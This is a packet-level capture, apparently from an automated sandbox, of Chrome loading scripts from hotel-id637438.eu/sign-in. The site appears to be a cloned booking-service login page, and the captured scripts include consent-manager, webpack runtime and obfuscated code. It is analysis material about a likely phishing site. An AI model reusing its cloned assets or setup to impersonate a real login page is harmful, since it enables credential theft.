2024-07-08 22:43:26 UTC	1369	IN	Data Raw: 5c 78 33 35 5c 78 33 30 5c 78 33 34 5c 78 33 36 5c 78 33 35 5c 78 33 30 5c 78 33 34 5c 78 33 32 5c 78 33 30 5c 78 33 31 5c 78 33 35 5c 78 36 36 5c 78 33 31 5c 78 33 36 5c 78 33 31 5c 78 33 36 5c 78 33 32 5c 78 33 37 5c 78 33 31 5c 78 33 30 5c 78 33 35 5c 78 33 39 5c 78 33 34 5c 78 33 33 5c 78 33 30 5c 78 33 33 5c 78 33 35 5c 78 33 36 5c 78 33 30 5c 78 33 31 5c 78 33 35 5c 78 33 36 5c 78 33 35 5c 78 33 31 5c 78 33 30 5c 78 36 32 5c 78 33 31 5c 78 33 38 5c 78 33 31 5c 78 36 34 5c 78 33 31 5c 78 33 36 5c 78 33 34 5c 78 33 30 5c 78 33 30 5c 78 33 32 5c 78 33 30 5c 78 33 35 5c 78 33 35 5c 78 36 34 5c 78 33 35 5c 78 33 39 5c 78 33 30 5c 78 33 38 5c 78 33 31 5c 78 36 35 5c 78 33 34 5c 78 36 33 5c 78 33 35 5c 78 33 30 5c 78 33 33 5c 78 33 32 5c 78 33 35 5c 78 36 Data Ascii: \x35\x30\x34\x36\x35\x30\x34\x32\x30\x31\x35\x66\x31\x36\x31\x36\x32\x37\x31\x30\x35\x39\x34\x33\x30\x33\x35\x36\x30\x31\x35\x36\x35\x31\x30\x62\x31\x38\x31\x64\x31\x36\x34\x30\x30\x32\x30\x35\x35\x64\x35\x39\x30\x38\x31\x65\x34\x63\x35\x30\x33\x32\x35\x6
2024-07-08 22:43:26 UTC	1369	IN	Data Raw: 39 65 62 38 35 66 33 65 31 34 31 37 32 66 35 64 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 74 79 70 65 6f 66 28 74 64 5f 34 74 2e 74 64 7a 5f 63 34 37 32 31 63 39 62 34 32 34 31 34 64 65 39 39 65 62 38 35 66 33 65 31 34 31 37 32 66 35 64 2e 74 64 5f 66 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 3f 28 74 64 5f 34 74 2e 74 64 7a 5f 63 34 37 32 31 63 39 62 34 32 34 31 34 64 65 39 39 65 62 38 35 66 33 65 31 34 31 37 32 66 35 64 2e 74 64 5f 66 28 35 2c 34 29 29 3a 6e 75 6c 6c 29 2c 69 64 65 6e 74 69 74 79 3a 28 28 74 79 70 65 6f 66 28 74 64 5f 34 74 2e 74 64 7a 5f 63 34 37 32 31 63 39 62 34 32 34 31 34 64 65 39 39 65 62 38 35 66 33 65 31 34 31 37 32 66 35 64 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 74 79 70 65 6f 66 28 74 64 5f 34 74 2e Data Ascii: 9eb85f3e14172f5d)!=="undefined"&&typeof(td_4t.tdz_c4721c9b42414de99eb85f3e14172f5d.td_f)!=="undefined")?(td_4t.tdz_c4721c9b42414de99eb85f3e14172f5d.td_f(5,4)):null),identity:((typeof(td_4t.tdz_c4721c9b42414de99eb85f3e14172f5d)!=="undefined"&&typeof(td_4t.
2024-07-08 22:43:26 UTC	1131	IN	Data Raw: 62 38 35 66 33 65 31 34 31 37 32 66 35 64 2e 74 64 5f 66 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 3f 28 74 64 5f 34 74 2e 74 64 7a 5f 63 34 37 32 31 63 39 62 34 32 34 31 34 64 65 39 39 65 62 38 35 66 33 65 31 34 31 37 32 66 35 64 2e 74 64 5f 66 28 32 39 2c 34 29 29 3a 6e 75 6c 6c 29 2c 69 64 65 6e 74 69 74 79 3a 28 28 74 79 70 65 6f 66 28 74 64 5f 34 74 2e 74 64 7a 5f 63 34 37 32 31 63 39 62 34 32 34 31 34 64 65 39 39 65 62 38 35 66 33 65 31 34 31 37 32 66 35 64 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 74 79 70 65 6f 66 28 74 64 5f 34 74 2e 74 64 7a 5f 63 34 37 32 31 63 39 62 34 32 34 31 34 64 65 39 39 65 62 38 35 66 33 65 31 34 31 37 32 66 35 64 2e 74 64 5f 66 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 3f 28 74 64 5f 34 74 2e 74 64 Data Ascii: b85f3e14172f5d.td_f)!=="undefined")?(td_4t.tdz_c4721c9b42414de99eb85f3e14172f5d.td_f(29,4)):null),identity:((typeof(td_4t.tdz_c4721c9b42414de99eb85f3e14172f5d)!=="undefined"&&typeof(td_4t.tdz_c4721c9b42414de99eb85f3e14172f5d.td_f)!=="undefined")?(td_4t.td

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49721	172.67.199.147	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:26 UTC	629	OUT	GET /px.v7.5.3.min.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE HTTP/1.1 Host: hotel-id637438.eu Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://hotel-id637438.eu sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://hotel-id637438.eu/sign-in Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:26 UTC	575	IN	HTTP/1.1 404 Not Found Date: Mon, 08 Jul 2024 22:43:26 GMT Content-Type: application/json Content-Length: 22 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5VEwrHJCj5UIAvdkySTjdb1lNtu3anNH5qtf5MktDCOTLRy%2BAY1ChKfb3HTqvYxPwN%2Bb7C6GTT7Q9YIEgsxfTbJhvAEpfu2zOQzuapT1cK0Jpbiqzimmah4f%2F%2FoApkH6aKyL%2Fg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a0397d95d9842db-EWR alt-svc: h3=":443"; ma=86400
2024-07-08 22:43:26 UTC	22	IN	Data Raw: 7b 22 64 65 74 61 69 6c 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"detail":"Not Found"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49725	172.67.199.147	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:26 UTC	602	OUT	GET /static/OtAutoBlock.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE HTTP/1.1 Host: hotel-id637438.eu Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://hotel-id637438.eu/sign-in Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:26 UTC	665	IN	HTTP/1.1 200 OK Date: Mon, 08 Jul 2024 22:43:26 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 4983 Connection: close last-modified: Sat, 06 Jul 2024 13:10:37 GMT etag: "5bdbee2a527070bfe2e9fd08758c2bcb" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=X4%2FkVGg3u9wn3SLwYyW48EERkRlhgWW%2BlYOWLdTdI2U7T7j8RMxz7ggb252t%2FIYno%2FvTnKNqxdRCUWXhjXLqaiE0QDamLQfnyejhbhNVL0wqd9icAZzLTLtdpgNZgeB5UMgonA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a0397dbca8e4321-EWR alt-svc: h3=":443"; ma=86400
2024-07-08 22:43:26 UTC	704	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 71 28 61 29 7b 76 61 72 20 63 3d 5b 5d 2c 62 3d 5b 5d 2c 65 3d 66 75 6e 63 74 69 6f 6e 28 66 29 7b 66 6f 72 28 76 61 72 20 67 3d 7b 7d 2c 68 3d 30 3b 68 3c 75 2e 6c 65 6e 67 74 68 3b 68 2b 2b 29 7b 76 61 72 20 64 3d 75 5b 68 5d 3b 69 66 28 64 2e 54 61 67 3d 3d 3d 66 29 7b 67 3d 64 3b 62 72 65 61 6b 7d 76 61 72 20 6c 3d 76 6f 69 64 20 30 2c 6b 3d 64 2e 54 61 67 3b 76 61 72 20 43 3d 28 6b 3d 2d 31 21 3d 3d 6b 2e 69 6e 64 65 78 4f 66 28 22 68 74 74 70 3a 22 29 3f 6b 2e 72 65 70 6c 61 63 65 28 22 68 74 74 70 3a 22 2c 22 22 29 3a 6b 2e 72 65 70 6c 61 63 65 28 22 68 74 74 70 73 3a 22 2c 22 22 29 2c 2d 31 21 3d 3d 28 6c 3d 6b 2e 69 6e 64 65 78 4f 66 28 22 3f 22 29 29 3f 6b 2e 72 65 70 6c 61 63 65 28 Data Ascii: !function(){function q(a){var c=[],b=[],e=function(f){for(var g={},h=0;h<u.length;h++){var d=u[h];if(d.Tag===f){g=d;break}var l=void 0,k=d.Tag;var C=(k=-1!==k.indexOf("http:")?k.replace("http:",""):k.replace("https:",""),-1!==(l=k.indexOf("?"))?k.replace(
2024-07-08 22:43:26 UTC	1369	IN	Data Raw: 73 3a 62 7d 7d 66 75 6e 63 74 69 6f 6e 20 77 28 61 29 7b 72 65 74 75 72 6e 21 61 7c 7c 21 61 2e 6c 65 6e 67 74 68 7c 7c 28 61 26 26 77 69 6e 64 6f 77 2e 4f 70 74 61 6e 6f 6e 41 63 74 69 76 65 47 72 6f 75 70 73 3f 61 2e 65 76 65 72 79 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 2d 31 21 3d 3d 77 69 6e 64 6f 77 2e 4f 70 74 61 6e 6f 6e 41 63 74 69 76 65 47 72 6f 75 70 73 2e 69 6e 64 65 78 4f 66 28 22 2c 22 2b 63 2b 22 2c 22 29 7d 29 3a 76 6f 69 64 20 30 29 7d 66 75 6e 63 74 69 6f 6e 20 6d 28 61 2c 63 29 7b 76 6f 69 64 20 30 3d 3d 3d 63 26 26 28 63 3d 6e 75 6c 6c 29 3b 76 61 72 20 62 3d 77 69 6e 64 6f 77 2c 65 3d 62 2e 4f 6e 65 54 72 75 73 74 26 26 62 2e 4f 6e 65 54 72 75 73 74 2e 49 73 56 65 6e 64 6f 72 53 65 72 76 69 63 65 45 6e 61 62 6c 65 64 Data Ascii: s:b}}function w(a){return!a\|\|!a.length\|\|(a&&window.OptanonActiveGroups?a.every(function(c){return-1!==window.OptanonActiveGroups.indexOf(","+c+",")}):void 0)}function m(a,c){void 0===c&&(c=null);var b=window,e=b.OneTrust&&b.OneTrust.IsVendorServiceEnabled
2024-07-08 22:43:26 UTC	1369	IN	Data Raw: 6c 74 28 29 3b 61 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 62 65 66 6f 72 65 73 63 72 69 70 74 65 78 65 63 75 74 65 22 2c 63 29 7d 29 29 7d 66 75 6e 63 74 69 6f 6e 20 41 28 61 29 7b 76 61 72 20 63 3d 61 2e 73 72 63 7c 7c 22 22 2c 62 3d 71 28 63 29 3b 28 62 2e 63 61 74 65 67 6f 72 79 49 64 73 2e 6c 65 6e 67 74 68 7c 7c 62 2e 76 73 43 61 74 49 64 73 2e 6c 65 6e 67 74 68 29 26 26 28 78 28 62 2e 63 61 74 65 67 6f 72 79 49 64 73 2c 61 2c 62 2e 76 73 43 61 74 49 64 73 29 2c 6d 28 62 2e 63 61 74 65 67 6f 72 79 49 64 73 2c 62 2e 76 73 43 61 74 49 64 73 29 7c 7c 28 61 2e 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 28 22 73 72 63 22 29 2c 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 73 72 63 22 2c 63 29 29 29 7d 76 61 72 Data Ascii: lt();a.removeEventListener("beforescriptexecute",c)}))}function A(a){var c=a.src\|\|"",b=q(c);(b.categoryIds.length\|\|b.vsCatIds.length)&&(x(b.categoryIds,a,b.vsCatIds),m(b.categoryIds,b.vsCatIds)\|\|(a.removeAttribute("src"),a.setAttribute("data-src",c)))}var
2024-07-08 22:43:26 UTC	1369	IN	Data Raw: 61 73 65 28 29 29 26 26 41 28 62 29 29 7d 29 7d 29 29 2e 6f 62 73 65 72 76 65 28 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2c 7b 63 68 69 6c 64 4c 69 73 74 3a 21 30 2c 73 75 62 74 72 65 65 3a 21 30 2c 61 74 74 72 69 62 75 74 65 73 3a 21 30 2c 61 74 74 72 69 62 75 74 65 46 69 6c 74 65 72 3a 5b 22 73 72 63 22 5d 7d 29 2c 0a 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 29 3b 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 61 2c 63 2c 62 3d 5b 5d 2c 65 3d 30 3b 65 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 65 2b 2b 29 62 5b 65 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 65 5d 3b 72 65 74 75 72 6e 22 73 63 72 69 70 74 22 3d 3d 3d Data Ascii: ase())&&A(b))})})).observe(document.documentElement,{childList:!0,subtree:!0,attributes:!0,attributeFilter:["src"]}),document.createElement);document.createElement=function(){for(var a,c,b=[],e=0;e<arguments.length;e++)b[e]=arguments[e];return"script"===
2024-07-08 22:43:26 UTC	172	IN	Data Raw: 66 29 3a 68 28 22 63 6c 61 73 73 22 2c 79 28 64 2e 63 61 74 65 67 6f 72 79 49 64 73 2c 66 2c 64 2e 76 73 43 61 74 49 64 73 29 29 2c 21 30 3b 76 61 72 20 67 2c 68 2c 64 7d 7d 7d 29 2c 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 3d 66 75 6e 63 74 69 6f 6e 28 66 2c 67 2c 68 29 7b 22 74 79 70 65 22 21 3d 3d 66 26 26 22 73 72 63 22 21 3d 3d 66 7c 7c 68 3f 63 28 66 2c 67 29 3a 61 5b 66 5d 3d 67 7d 2c 61 29 3a 42 2e 62 69 6e 64 28 64 6f 63 75 6d 65 6e 74 29 2e 61 70 70 6c 79 28 76 6f 69 64 20 30 2c 62 29 7d 7d 28 29 3b Data Ascii: f):h("class",y(d.categoryIds,f,d.vsCatIds)),!0;var g,h,d}}}),a.setAttribute=function(f,g,h){"type"!==f&&"src"!==f\|\|h?c(f,g):a[f]=g},a):B.bind(document).apply(void 0,b)}}();

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49723	172.67.199.147	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:27 UTC	625	OUT	GET /static/runtime~index_738e48f489cb6e4a67ad.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE HTTP/1.1 Host: hotel-id637438.eu Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://hotel-id637438.eu/sign-in Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:27 UTC	663	IN	HTTP/1.1 200 OK Date: Mon, 08 Jul 2024 22:43:27 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 4702 Connection: close last-modified: Sat, 06 Jul 2024 13:10:34 GMT etag: "76ee6a35a837cb8d0e4cf35f7dba5f6e" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pH%2BbIGXjRQPbDyBA3Ro1S9z4OcNkzM8mthvXK1qpZIKeL9B02jwyvb9YZWrMIM2rtwMDEULfnIZ6SN1VS7TxUHJFb%2FdrAU2tdalkGELAicytUUsa%2FFMFKsa57GZ6Zcd10ZFLFw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a0397de5fe97cab-EWR alt-svc: h3=":443"; ma=86400
2024-07-08 22:43:27 UTC	706	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 65 2c 74 2c 72 2c 6e 2c 6f 2c 69 3d 7b 7d 2c 75 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 61 28 65 29 7b 76 61 72 20 74 3d 75 5b 65 5d 3b 69 66 28 76 6f 69 64 20 30 21 3d 3d 74 29 72 65 74 75 72 6e 20 74 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 75 5b 65 5d 3d 7b 69 64 3a 65 2c 6c 6f 61 64 65 64 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 69 5b 65 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 61 29 2c 72 2e 6c 6f 61 64 65 64 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 61 2e 6d 3d 69 2c 65 3d 5b 5d 2c 61 2e 4f 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 72 2c 6e 2c 6f 29 7b 69 66 28 21 72 29 7b 76 61 72 20 69 3d 31 Data Ascii: !function(){"use strict";var e,t,r,n,o,i={},u={};function a(e){var t=u[e];if(void 0!==t)return t.exports;var r=u[e]={id:e,loaded:!1,exports:{}};return i[e].call(r.exports,r,r.exports,a),r.loaded=!0,r.exports}a.m=i,e=[],a.O=function(t,r,n,o){if(!r){var i=1
2024-07-08 22:43:27 UTC	1369	IN	Data Raw: 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 72 20 69 6e 20 74 29 61 2e 6f 28 74 2c 72 29 26 26 21 61 2e 6f 28 65 2c 72 29 26 26 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 72 2c 7b 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 67 65 74 3a 74 5b 72 5d 7d 29 7d 2c 61 2e 66 3d 7b 7d 2c 61 2e 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 50 72 6f 6d 69 73 65 2e 61 6c 6c 28 4f 62 6a 65 63 74 2e 6b 65 79 73 28 61 2e 66 29 2e 72 65 64 75 63 65 28 28 66 75 6e 63 74 69 6f 6e 28 74 2c 72 29 7b 72 65 74 75 72 6e 20 61 2e 66 5b 72 5d 28 65 2c 74 29 2c 74 7d 29 2c 5b 5d 29 29 7d 2c 61 2e 75 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 22 61 73 73 65 74 73 2f 63 68 75 6e 6b 5f 22 2b 65 2b 22 5f 38 65 33 66 65 61 34 Data Ascii: n(e,t){for(var r in t)a.o(t,r)&&!a.o(e,r)&&Object.defineProperty(e,r,{enumerable:!0,get:t[r]})},a.f={},a.e=function(e){return Promise.all(Object.keys(a.f).reduce((function(t,r){return a.f[r](e,t),t}),[]))},a.u=function(e){return"assets/chunk_"+e+"_8e3fea4
2024-07-08 22:43:27 UTC	1369	IN	Data Raw: 7d 7d 2c 61 2e 72 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 53 79 6d 62 6f 6c 2e 74 6f 53 74 72 69 6e 67 54 61 67 26 26 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 53 79 6d 62 6f 6c 2e 74 6f 53 74 72 69 6e 67 54 61 67 2c 7b 76 61 6c 75 65 3a 22 4d 6f 64 75 6c 65 22 7d 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 7d 2c 61 2e 6e 6d 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 70 61 74 68 73 3d 5b 5d 2c 65 2e 63 68 69 6c 64 72 65 6e 7c 7c 28 65 2e 63 68 69 6c 64 72 65 6e 3d 5b 5d 29 2c 65 7d 2c 66 75 6e 63 74 69 6f 6e 28 29 Data Ascii: }},a.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},a.nmd=function(e){return e.paths=[],e.children\|\|(e.children=[]),e},function()
2024-07-08 22:43:27 UTC	1258	IN	Data Raw: 6e 6b 20 22 2b 65 2b 22 20 66 61 69 6c 65 64 2e 5c 6e 28 22 2b 61 2b 22 29 22 29 3b 63 2e 63 6f 64 65 3d 22 43 53 53 5f 43 48 55 4e 4b 5f 4c 4f 41 44 5f 46 41 49 4c 45 44 22 2c 63 2e 74 79 70 65 3d 75 2c 63 2e 72 65 71 75 65 73 74 3d 61 2c 6f 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 6f 29 2c 6e 28 63 29 7d 7d 2c 6f 2e 68 72 65 66 3d 74 2c 64 6f 63 75 6d 65 6e 74 2e 68 65 61 64 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6f 29 7d 28 65 2c 6f 2c 74 2c 72 29 7d 29 29 7d 2c 6f 3d 7b 31 31 31 3a 30 7d 2c 61 2e 66 2e 6d 69 6e 69 43 73 73 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 6f 5b 65 5d 3f 74 2e 70 75 73 68 28 6f 5b 65 5d 29 3a 30 21 3d 3d 6f 5b 65 5d 26 26 7b 36 33 3a 31 7d 5b 65 5d 26 26 74 2e 70 75 73 68 28 6f 5b 65 5d 3d 6e Data Ascii: nk "+e+" failed.\n("+a+")");c.code="CSS_CHUNK_LOAD_FAILED",c.type=u,c.request=a,o.parentNode.removeChild(o),n(c)}},o.href=t,document.head.appendChild(o)}(e,o,t,r)}))},o={111:0},a.f.miniCss=function(e,t){o[e]?t.push(o[e]):0!==o[e]&&{63:1}[e]&&t.push(o[e]=n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49726	172.67.199.147	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:27 UTC	615	OUT	GET /static/842_b7cfe71a24f37e243c53.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE HTTP/1.1 Host: hotel-id637438.eu Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://hotel-id637438.eu/sign-in Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:27 UTC	662	IN	HTTP/1.1 200 OK Date: Mon, 08 Jul 2024 22:43:27 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 42648 Connection: close last-modified: Sat, 06 Jul 2024 13:10:50 GMT etag: "e7ea6d7259d0d323adc63c0dec799aab" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Xl%2Fl%2Bv14OxS8HudX9NZ3tmr7G4aXDMPbTC2OVlQsYHMiDkXYLmmbv8wnbmRTSi4s4PGCAQBKykwW8P1Bm3WCiZl1Q92pYrz7Ct4Yd36dSlYzTphmTcyujP2GvwBi9SW2Wd9X0g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a0397de5aa341f5-EWR alt-svc: h3=":443"; ma=86400
2024-07-08 22:43:27 UTC	707	IN	Data Raw: 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 62 6f 6f 6b 69 6e 67 73 5f 77 65 62 5f 61 63 63 6f 75 6e 74 73 5f 70 6f 72 74 61 6c 5f 77 6f 72 6b 73 70 61 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 62 6f 6f 6b 69 6e 67 73 5f 77 65 62 5f 61 63 63 6f 75 6e 74 73 5f 70 6f 72 74 61 6c 5f 77 6f 72 6b 73 70 61 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 38 34 32 5d 2c 7b 36 33 33 38 37 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 74 29 74 68 72 6f 77 20 54 79 70 65 45 72 72 6f 72 28 74 2b 22 20 69 73 20 6e 6f 74 20 61 20 66 75 6e 63 74 69 6f 6e 21 22 29 3b 72 65 74 75 72 6e 20 74 7d 7d 2c 38 38 31 38 34 3a Data Ascii: (self.webpackChunkbookings_web_accounts_portal_workspaces=self.webpackChunkbookings_web_accounts_portal_workspaces\|\|[]).push([[842],{63387:function(t){t.exports=function(t){if("function"!=typeof t)throw TypeError(t+" is not a function!");return t}},88184:
2024-07-08 22:43:27 UTC	1369	IN	Data Raw: 6f 77 20 54 79 70 65 45 72 72 6f 72 28 74 2b 22 20 69 73 20 6e 6f 74 20 61 6e 20 6f 62 6a 65 63 74 21 22 29 3b 72 65 74 75 72 6e 20 74 7d 7d 2c 36 31 34 36 34 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 72 2c 6e 29 7b 76 61 72 20 65 3d 6e 28 35 37 32 32 31 29 2c 6f 3d 6e 28 38 31 34 38 35 29 2c 69 3d 6e 28 37 30 31 35 37 29 3b 74 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 72 2c 6e 2c 75 29 7b 76 61 72 20 63 2c 73 3d 65 28 72 29 2c 61 3d 6f 28 73 2e 6c 65 6e 67 74 68 29 2c 66 3d 69 28 75 2c 61 29 3b 69 66 28 74 26 26 6e 21 3d 6e 29 7b 66 6f 72 28 3b 61 3e 66 3b 29 69 66 28 28 63 3d 73 5b 66 2b 2b 5d 29 21 3d 63 29 72 65 74 75 72 6e 21 30 7d 65 6c 73 65 20 66 6f 72 28 3b 61 3e 66 3b 66 2b 2b 29 69 Data Ascii: ow TypeError(t+" is not an object!");return t}},61464:function(t,r,n){var e=n(57221),o=n(81485),i=n(70157);t.exports=function(t){return function(r,n,u){var c,s=e(r),a=o(s.length),f=i(u,a);if(t&&n!=n){for(;a>f;)if((c=s[f++])!=c)return!0}else for(;a>f;f++)i
